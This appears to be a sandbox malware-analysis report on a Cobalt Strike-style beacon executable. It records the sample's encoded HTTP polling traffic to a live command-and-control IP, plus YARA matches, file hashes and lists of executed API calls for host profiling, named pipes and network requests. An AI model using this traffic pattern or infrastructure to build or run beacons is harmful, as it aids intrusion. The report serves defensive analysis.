PMflmBZ0Dwh6T+lFhI/qZoWxIN+IK6FA2PfnxF9DEQB9//QqmcHbf69nliNevhTvZQliH5lY3SpuBk1Xiaaov0oeWQJeqfoQO0o2GAmvmqeN6ZDlNzXS9M0YAh7giFamSEQAktS9A2IlLoPeK+Knx1/RA67EvbhVaWoYWmKv7qmpxutVm2ILT7fDrkEc9a8KfrrVoOoHDJvnfHNHBSlXbi+6ZKh4iauff99kMVjYEkw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49987	8.148.6.140	80	2952	C:\Users\user\Desktop\beacon_x86.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 09:35:53.350166082 CET	544	OUT	GET /api/v1/get HTTP/1.1 Content-Type: text/plain Accept: / Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Accept-Encoding: gzip, deflate Priority: u=1, i Cookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU= User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Host: 8.148.6.140 Connection: Keep-Alive Cache-Control: no-cache
Jan 10, 2025 09:35:54.346221924 CET	377	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 08:35:54 GMT Server: nginx Content-Length: 192 Connection: keep-alive Content-Type: text/plain Cache-Control: no-cache Pragma: no-cache Data Raw: 6b 7a 36 44 55 46 42 34 33 65 59 57 72 52 74 31 51 56 78 79 54 7a 78 6c 4b 6c 74 34 59 47 74 49 45 47 58 55 6f 69 39 58 76 44 79 53 44 56 5a 54 79 33 79 32 66 71 53 52 47 68 53 4d 67 2b 73 72 78 72 75 48 6b 65 2b 6a 4b 77 70 4d 4c 6d 77 45 72 55 49 61 6a 55 4e 6c 4a 52 6d 76 64 77 74 72 44 6d 66 7a 58 36 55 74 4e 7a 6e 6a 37 65 32 33 45 2f 57 32 48 69 48 2b 72 56 43 70 69 77 69 42 74 69 35 37 31 62 2b 73 42 6a 78 43 4a 70 55 2b 41 37 42 44 52 42 48 44 76 38 52 45 55 70 31 73 6a 78 6f 75 7a 51 56 2b 4e 6e 61 48 75 47 44 56 7a 46 4e 43 73 78 4a 75 59 46 66 5a 44 70 79 61 Data Ascii: kz6DUFB43eYWrRt1QVxyTzxlKlt4YGtIEGXUoi9XvDySDVZTy3y2fqSRGhSMg+srxruHke+jKwpMLmwErUIajUNlJRmvdwtrDmfzX6UtNznj7e23E/W2HiH+rVCpiwiBti571b+sBjxCJpU+A7BDRBHDv8REUp1sjxouzQV+NnaHuGDVzFNCsxJuYFfZDpya

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49988	8.148.6.140	80	2952	C:\Users\user\Desktop\beacon_x86.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 09:36:08.911976099 CET	544	OUT	GET /api/v1/get HTTP/1.1 Content-Type: text/plain Accept: / Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Accept-Encoding: gzip, deflate Priority: u=1, i Cookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU= User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Host: 8.148.6.140 Connection: Keep-Alive Cache-Control: no-cache
Jan 10, 2025 09:36:09.860977888 CET	505	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 08:36:09 GMT Server: nginx Content-Length: 320 Connection: keep-alive Content-Type: text/plain Cache-Control: no-cache Pragma: no-cache Data Raw: 6b 6a 6a 48 6d 53 59 2b 6c 58 4e 4a 32 2f 51 76 76 62 42 4c 34 57 74 69 65 51 2f 7a 55 4c 69 6d 70 64 6b 61 32 76 43 77 78 41 57 78 72 55 49 71 49 36 46 70 41 30 33 64 65 58 6b 71 57 56 4f 75 6d 6a 53 39 58 59 72 2f 50 52 42 48 64 35 54 6c 34 34 47 43 65 36 4e 63 74 4f 79 42 37 78 50 31 6c 37 43 34 65 51 56 6d 63 56 34 6d 61 36 66 75 42 4b 58 74 59 6c 58 4e 50 6c 64 2f 37 64 6d 66 45 63 77 50 54 46 41 67 69 7a 33 48 71 4d 6d 33 52 35 43 51 41 32 52 52 65 65 43 45 68 53 49 70 49 4b 59 57 4b 4d 6b 31 76 34 51 43 6a 78 30 75 6a 77 62 55 41 31 53 69 44 62 31 56 52 30 67 6c 71 75 58 6b 44 63 35 6b 4a 52 56 37 6c 76 59 66 6f 73 32 65 78 64 33 77 4a 69 39 69 4f 55 50 4c 55 72 56 52 36 45 6f 32 44 72 41 74 77 65 30 43 51 53 7a 64 44 57 6e 4a 78 64 54 6d 50 62 50 64 63 74 59 36 6f 79 42 71 65 41 36 62 53 47 30 45 4c 62 47 44 47 5a 6c 64 68 66 52 65 48 74 65 36 49 6e 6e 7a 33 6a 63 38 77 56 68 67 5a 64 44 65 56 36 72 44 56 6c 51 59 4b 75 74 49 4f 72 31 4d Data Ascii: kjjHmSY+lXNJ2/QvvbBL4WtieQ/zULimpdka2vCwxAWxrUIqI6FpA03deXkqWVOumjS9XYr/PRBHd5Tl44GCe6NctOyB7xP1l7C4eQVmcV4ma6fuBKXtYlXNPld/7dmfEcwPTFAgiz3HqMm3R5CQA2RReeCEhSIpIKYWKMk1v4QCjx0ujwbUA1SiDb1VR0glquXkDc5kJRV7lvYfos2exd3wJi9iOUPLUrVR6Eo2DrAtwe0CQSzdDWnJxdTmPbPdctY6oyBqeA6bSG0ELbGDGZldhfReHte6Innz3jc8wVhgZdDeV6rDVlQYKutIOr1M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49989	8.148.6.140	80	2952	C:\Users\user\Desktop\beacon_x86.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 09:36:18.569010973 CET	544	OUT	GET /api/v1/get HTTP/1.1 Content-Type: text/plain Accept: / Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Accept-Encoding: gzip, deflate Priority: u=1, i Cookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU= User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Host: 8.148.6.140 Connection: Keep-Alive Cache-Control: no-cache
Jan 10, 2025 09:36:19.533714056 CET	185	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 08:36:19 GMT Server: nginx Content-Length: 216 Connection: keep-alive Content-Type: text/plain Cache-Control: no-cache Pragma: no-cache
Jan 10, 2025 09:36:19.533763885 CET	216	IN	Data Raw: 56 59 4e 66 2f 2b 66 76 6b 70 4c 55 69 4e 63 74 56 73 32 67 77 6c 61 45 41 66 35 4c 43 74 54 4a 61 68 34 48 43 2b 39 38 4e 36 4a 6d 63 51 51 61 36 71 4f 70 42 58 78 2f 37 2f 75 54 6c 4e 2f 4f 58 43 4c 6e 51 65 4c 4c 64 6c 33 6a 4a 39 69 5a 72 58 Data Ascii: VYNf/+fvkpLUiNctVs2gwlaEAf5LCtTJah4HC+98N6JmcQQa6qOpBXx/7/uTlN/OXCLnQeLLdl3jJ9iZrXeJagXf/k7ksHWawJ0irjS3eKkMXSAxYL9hq3wx0pHz4MS7PJ2D7prPaaY2h/FXSAzUwvPLBU2FrRKDuOCjuTp5J81WTB0cDBoAo//w62MfoDBg+6AtEHs7ezPE5OX6TwIjLQ==

Target ID:	0
Start time:	03:33:13
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\beacon_x86.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\beacon_x86.exe"
Imagebase:	0x400000
File size:	324'096 bytes
MD5 hash:	BFFE5DBE4D4ECECC6652360CE37B8075
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000002.3890591328.0000000000D97000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000002.3890591328.0000000000D97000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000003.2049538044.0000000000D20000.00000020.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000003.2049538044.0000000000D20000.00000020.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000003.2049538044.0000000000D20000.00000020.00001000.00020000.00000000.sdmp, Author: unknown Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000003.2049538044.0000000000D20000.00000020.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4.6%
Dynamic/Decrypted Code Coverage:	88.8%
Signature Coverage:	13.9%
Total number of Nodes:	747
Total number of Limit Nodes:	20

Executed Functions

Function 0040116C Relevance: 19.7, APIs: 13, Instructions: 199
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 004011B7
SetUnhandledExceptionFilter.KERNEL32 ref: 00401238
__p__acmdln.MSVCRT ref: 00401261
malloc.MSVCRT ref: 004012EB
strlen.MSVCRT ref: 0040131B
malloc.MSVCRT ref: 00401326
memcpy.MSVCRT ref: 0040133C
GetStartupInfoA.KERNEL32 ref: 00401433

Memory Dump Source

Source File: 00000000.00000002.3890235844.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3890220060.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890251384.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890265739.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890295487.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890310517.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_beacon_x86.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandled__p__acmdlnmemcpystrlen
String ID:
API String ID: 1672962128-0
Opcode ID: 403f90f316b1dd4bb9580ff5369489e89610e9102d5ba99587d81e0cd643e45f
Instruction ID: cd1cdbe7929d0bdf955f1aec1ac9dc0fa1fb6e5342f4dd5585025b5f235b2fbc
Opcode Fuzzy Hash: 403f90f316b1dd4bb9580ff5369489e89610e9102d5ba99587d81e0cd643e45f
Instruction Fuzzy Hash: 13817BB5A043058FDB10DF69E98476E77E0FB49305F00443EEA84AB3A2D779D845CB8A

Function 00D61C3F Relevance: 16.7, APIs: 11, Instructions: 186
networkfileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00D61C80
__snprintf.LIBCMT ref: 00D61CA7

Part of subcall function 00D685F6: _memset.LIBCMT ref: 00D68617

__snprintf.LIBCMT ref: 00D61D23
__snprintf.LIBCMT ref: 00D61D3A
HttpOpenRequestA.WININET(00000000,?,00000000,00000000,00D90540,00D9EFC4), ref: 00D61D69
HttpSendRequestA.WININET(00000000,?,?,?,?), ref: 00D61D92
InternetCloseHandle.WININET(00000000), ref: 00D61DAF

Part of subcall function 00D64EEC: _memset.LIBCMT ref: 00D64EFC
Part of subcall function 00D64EEC: _memset.LIBCMT ref: 00D64F08
Part of subcall function 00D64EEC: __snprintf.LIBCMT ref: 00D64F59
Part of subcall function 00D64EEC: _memset.LIBCMT ref: 00D64F90
Part of subcall function 00D64EEC: _memset.LIBCMT ref: 00D64F9B

Part of subcall function 00D64FB6: _memset.LIBCMT ref: 00D64FC6
Part of subcall function 00D64FB6: _memset.LIBCMT ref: 00D64FD2
Part of subcall function 00D64FB6: __snprintf.LIBCMT ref: 00D6502E
Part of subcall function 00D64FB6: _memset.LIBCMT ref: 00D6504C
Part of subcall function 00D64FB6: _memset.LIBCMT ref: 00D65057

InternetQueryDataAvailable.WININET(00000000,?,00000000,00000000), ref: 00D61DC0
InternetReadFile.WININET(00000000,?,00001000,?), ref: 00D61DEE
InternetCloseHandle.WININET(00000000), ref: 00D61E0E
InternetCloseHandle.WININET(00000000), ref: 00D61E2F

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: _memset$Internet__snprintf$CloseHandle$HttpRequest$AvailableDataFileOpenQueryReadSend
String ID:
API String ID: 2172916581-0
Opcode ID: d48334b5bd3b3e3fab214b5022b64094c29907015d3934fe2cb822df40069d5d
Instruction ID: 30aaeb06961bf1a6a352b22a412fafcac4f8d1b70054e997ab50c31d5dc2e8c6
Opcode Fuzzy Hash: d48334b5bd3b3e3fab214b5022b64094c29907015d3934fe2cb822df40069d5d
Instruction Fuzzy Hash: 4D519C76900219BFDF11AFA8DC85EAE7BBCEF04310B084066FA14E72A1DB3199449B71

Function 004013C1 Relevance: 12.1, APIs: 8, Instructions: 108
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00401238
__p__acmdln.MSVCRT ref: 00401261
malloc.MSVCRT ref: 004012EB
strlen.MSVCRT ref: 0040131B
malloc.MSVCRT ref: 00401326
memcpy.MSVCRT ref: 0040133C
_amsg_exit.MSVCRT ref: 004013E2
_initterm.MSVCRT ref: 00401404

Memory Dump Source

Source File: 00000000.00000002.3890235844.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3890220060.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890251384.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890265739.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890295487.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890310517.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_beacon_x86.jbxd

Similarity

API ID: malloc$ExceptionFilterUnhandled__p__acmdln_amsg_exit_inittermmemcpystrlen
String ID:
API String ID: 2053141405-0
Opcode ID: 03f94abf2d86f45a5c2415d1c739ceeb502182650b68f8019ac87a932fbe833c
Instruction ID: 176527dceee54676b3400d832f202c7b1996cfd354b1dcf2f579e8dd7b9a5ba8
Opcode Fuzzy Hash: 03f94abf2d86f45a5c2415d1c739ceeb502182650b68f8019ac87a932fbe833c
Instruction Fuzzy Hash: 974118B4A043058FDB10EF65E98575EBBE0FB48705F10843EE984A73A2D7B8D845CB59

Function 004011A3 Relevance: 10.6, APIs: 7, Instructions: 114
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 004011B7
SetUnhandledExceptionFilter.KERNEL32 ref: 00401238
__p__acmdln.MSVCRT ref: 00401261
malloc.MSVCRT ref: 004012EB
strlen.MSVCRT ref: 0040131B
malloc.MSVCRT ref: 00401326
memcpy.MSVCRT ref: 0040133C
_amsg_exit.MSVCRT ref: 004013E2
_initterm.MSVCRT ref: 00401404

Memory Dump Source

Source File: 00000000.00000002.3890235844.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3890220060.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890251384.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890265739.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890295487.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890310517.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_beacon_x86.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled__p__acmdln_amsg_exit_inittermmemcpystrlen
String ID:
API String ID: 2230096795-0
Opcode ID: 85e1cf29ecf6396504c26cb88095de616834151ce1f924ca111f46e639445432
Instruction ID: ee64299d2f4f8c50c0c592fa26e83c8470f2d6fe6e7dfb634f206cb54a3f681e
Opcode Fuzzy Hash: 85e1cf29ecf6396504c26cb88095de616834151ce1f924ca111f46e639445432
Instruction Fuzzy Hash: 7F4107B4A043058FDB10DF69E98471EBBE0BB48705F14453EE988A73A2D778D845CB99

Function 00401160 Relevance: 9.1, APIs: 6, Instructions: 130
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 004011B7
SetUnhandledExceptionFilter.KERNEL32 ref: 00401238
__p__acmdln.MSVCRT ref: 00401261
malloc.MSVCRT ref: 004012EB
strlen.MSVCRT ref: 0040131B
malloc.MSVCRT ref: 00401326
memcpy.MSVCRT ref: 0040133C
GetStartupInfoA.KERNEL32 ref: 00401433

Memory Dump Source

Source File: 00000000.00000002.3890235844.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3890220060.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890251384.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890265739.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890295487.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890310517.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_beacon_x86.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandled__p__acmdlnmemcpystrlen
String ID:
API String ID: 1672962128-0
Opcode ID: 8f109d0c8fcfb376cf6425773cd7d35a5131f80409148732b39be14af764f308
Instruction ID: 14d090d825811c9464361f5f824c2d109dd69b69c83bbf3de982eb4becc4467a
Opcode Fuzzy Hash: 8f109d0c8fcfb376cf6425773cd7d35a5131f80409148732b39be14af764f308
Instruction Fuzzy Hash: ED5168B5A043058FDB10DFA9E984B1ABBE0FB48705F10453EE944AB3A2D778D845CB99

Function 00D66F09 Relevance: 9.1, APIs: 6, Instructions: 123
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D671BC: _malloc.LIBCMT ref: 00D671C2
Part of subcall function 00D671BC: _malloc.LIBCMT ref: 00D671D2

GetUserNameA.ADVAPI32(?,?), ref: 00D66F6E
GetComputerNameA.KERNEL32(?,?), ref: 00D66F7E
GetModuleFileNameA.KERNEL32(00000000,?,00000100), ref: 00D66F92
_strrchr.LIBCMT ref: 00D66FA1
GetVersionExA.KERNEL32(00000000), ref: 00D66FBC
__snprintf.LIBCMT ref: 00D67028

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: Name$_malloc$ComputerFileModuleUserVersion__snprintf_strrchr
String ID:
API String ID: 1877169212-0
Opcode ID: 0f34eb6ab475cdb4d2de8fe6e6a275d5784b2428fd9c90481d2eb31468510aaa
Instruction ID: 1241ad72e6cbc34bcce63733562af70db8b04f40939db6cf542a2117c23c1a0c
Opcode Fuzzy Hash: 0f34eb6ab475cdb4d2de8fe6e6a275d5784b2428fd9c90481d2eb31468510aaa
Instruction Fuzzy Hash: 5041BC75D00209AFDF11AFA5EC4ADBEBFB4EF04300F14405AF900A6292EB759A50AB70

Function 0040161C Relevance: 6.1, APIs: 4, Instructions: 56
pipefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateNamedPipeA.KERNEL32 ref: 00401671
ConnectNamedPipe.KERNELBASE ref: 0040168D
WriteFile.KERNEL32 ref: 004016B7
CloseHandle.KERNELBASE ref: 004016C7

Memory Dump Source

Source File: 00000000.00000002.3890235844.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3890220060.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890251384.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890265739.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890295487.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890310517.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_beacon_x86.jbxd

Similarity

API ID: NamedPipe$CloseConnectCreateFileHandleWrite
String ID:
API String ID: 2239253087-0
Opcode ID: 588faa4c15bb17f6641a11f41d94c7d67e31f3f64e51a70bffe85c2206670ea5
Instruction ID: 647ba10e4562674360e559436f846850fae7207d816ad69ae546ddef800915d1
Opcode Fuzzy Hash: 588faa4c15bb17f6641a11f41d94c7d67e31f3f64e51a70bffe85c2206670ea5
Instruction Fuzzy Hash: C1114CB0804305AFD7109F66C84836FBBF8EB84359F00892EE895973A1D37AC4488F96

Function 00D6DF82 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
encryptionCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptGenRandom.ADVAPI32(00000000,?,?,?,00D9EFEC,?,?,00D6DFF8,?,?,?,00D6469D,00D9EFEC,0000000D,00000000,0000001C), ref: 00D6DFCC
CryptReleaseContext.ADVAPI32(00000000,00000000,?,00D9EFEC,?,?,00D6DFF8,?,?,?,00D6469D,00D9EFEC,0000000D,00000000,0000001C,00000001), ref: 00D6DFDC

Strings

Microsoft Base Cryptographic Provider v1.0, xrefs: 00D6DF99, 00D6DF9E, 00D6DFB2

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: Crypt$ContextRandomRelease
String ID: Microsoft Base Cryptographic Provider v1.0
API String ID: 3163166064-291530887
Opcode ID: 6298e278e507f0f3f167548c9fb139467626c16076945c46857cd9897571e720
Instruction ID: cd94c8d16a3e823f2cbb4fec3f25dfee6c080012e0783fd790f64da3f61d6022
Opcode Fuzzy Hash: 6298e278e507f0f3f167548c9fb139467626c16076945c46857cd9897571e720
Instruction Fuzzy Hash: C4F08C36E14268B7EF208A959C09F8E7A6DEB44754F204051FA02E6144C271AA00A7B4

Function 03E00000 Relevance: 1.4, APIs: 1, Instructions: 133sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(?), ref: 03E0009C

Memory Dump Source

Source File: 00000000.00000002.3890928237.0000000003E00000.00000020.00000800.00020000.00000000.sdmp, Offset: 03E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e00000_beacon_x86.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 7a0e62f61d2487343c68d546d0fed2b5e277ec55e342f27ca8efb465afa3f918
Instruction ID: b5bc2749f3442b147237d450751f7bd0ac3bf00c36e88939ed5271c18634c1d2
Opcode Fuzzy Hash: 7a0e62f61d2487343c68d546d0fed2b5e277ec55e342f27ca8efb465afa3f918
Instruction Fuzzy Hash: 5C419E35600601DFCB15CF1DC980B69BBB2FF89354B19D5AEE49A8B252D631EE81CB50

Function 00D7768B Relevance: 1.3, Strings: 1, Instructions: 15COMMONLIBRARYCODE

Download Yara Rule

Strings

p=v, xrefs: 00D775E5

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID:
String ID: p=v
API String ID: 0-1262632170
Opcode ID: 2fb173a1a8bea6bdf5408ec5933e9d78f1c2c007f9953934f0675fa25691a93a
Instruction ID: d347b904215d0f4f455e1e915ed422bb1df3db5823aaa054e5f57bd332fc7694
Opcode Fuzzy Hash: 2fb173a1a8bea6bdf5408ec5933e9d78f1c2c007f9953934f0675fa25691a93a
Instruction Fuzzy Hash: 99D0123220D2489ADA51EB14FCC25797310E740311F908EA9E90D025457E66A9655671

Function 00401805 Relevance: 21.0, APIs: 3, Strings: 9, Instructions: 31
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040180B
sprintf.MSVCRT ref: 00401875
CreateThread.KERNELBASE ref: 004018A9

Strings

i, xrefs: 00401832
\, xrefs: 00401852
e, xrefs: 00401822
p, xrefs: 0040183A
\, xrefs: 0040185A
., xrefs: 0040184A
\, xrefs: 00401842
\, xrefs: 00401818
p, xrefs: 0040182A

Memory Dump Source

Source File: 00000000.00000002.3890235844.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3890220060.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890251384.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890265739.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890295487.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890310517.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_beacon_x86.jbxd

Similarity

API ID: CountCreateThreadTicksprintf
String ID: .$\$\$\$\$e$i$p$p
API String ID: 1367138260-609229641
Opcode ID: 6993ad00b22fa5709ddfae83127fd071b9715a62268548fc0a47211300f561df
Instruction ID: 85e9528532d9762a1f7b070758f0f1347f94744085bed28000c50463c0499d60
Opcode Fuzzy Hash: 6993ad00b22fa5709ddfae83127fd071b9715a62268548fc0a47211300f561df
Instruction Fuzzy Hash: E50160B4408701DFE3009F16D55C31BBEE1AB84749F00891DE5991A2A1C7BE864CCF9A

Function 00D67060 Relevance: 9.1, APIs: 6, Instructions: 124
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetACP.KERNEL32 ref: 00D67069
GetOEMCP.KERNEL32 ref: 00D67075
GetTickCount.KERNEL32 ref: 00D670A6

Part of subcall function 00D77C0A: __getptd.LIBCMT ref: 00D77C0F

GetCurrentProcess.KERNEL32 ref: 00D670D3
_memset.LIBCMT ref: 00D67170
_memset.LIBCMT ref: 00D671AF

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: _memset$CountCurrentProcessTick__getptd
String ID:
API String ID: 2210316817-0
Opcode ID: 77b45978b50acb1ce2f672c6abd29de1f346992eddda3b7c4cfa5f299cd6b205
Instruction ID: c53c75d157ba0bb2cadbdc629fc11144fe4978c858261f09f5efdccae1f57757
Opcode Fuzzy Hash: 77b45978b50acb1ce2f672c6abd29de1f346992eddda3b7c4cfa5f299cd6b205
Instruction Fuzzy Hash: 7531B376900308BBDB11BBB5EC46EAE7BB8DF08324F184016F504EB292EE75D9848771

Function 00D67E51 Relevance: 9.1, APIs: 6, Instructions: 113
networkCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 00D67E75

Part of subcall function 00D777FF: __FF_MSGBANNER.LIBCMT ref: 00D77822
Part of subcall function 00D777FF: __NMSG_WRITE.LIBCMT ref: 00D77829
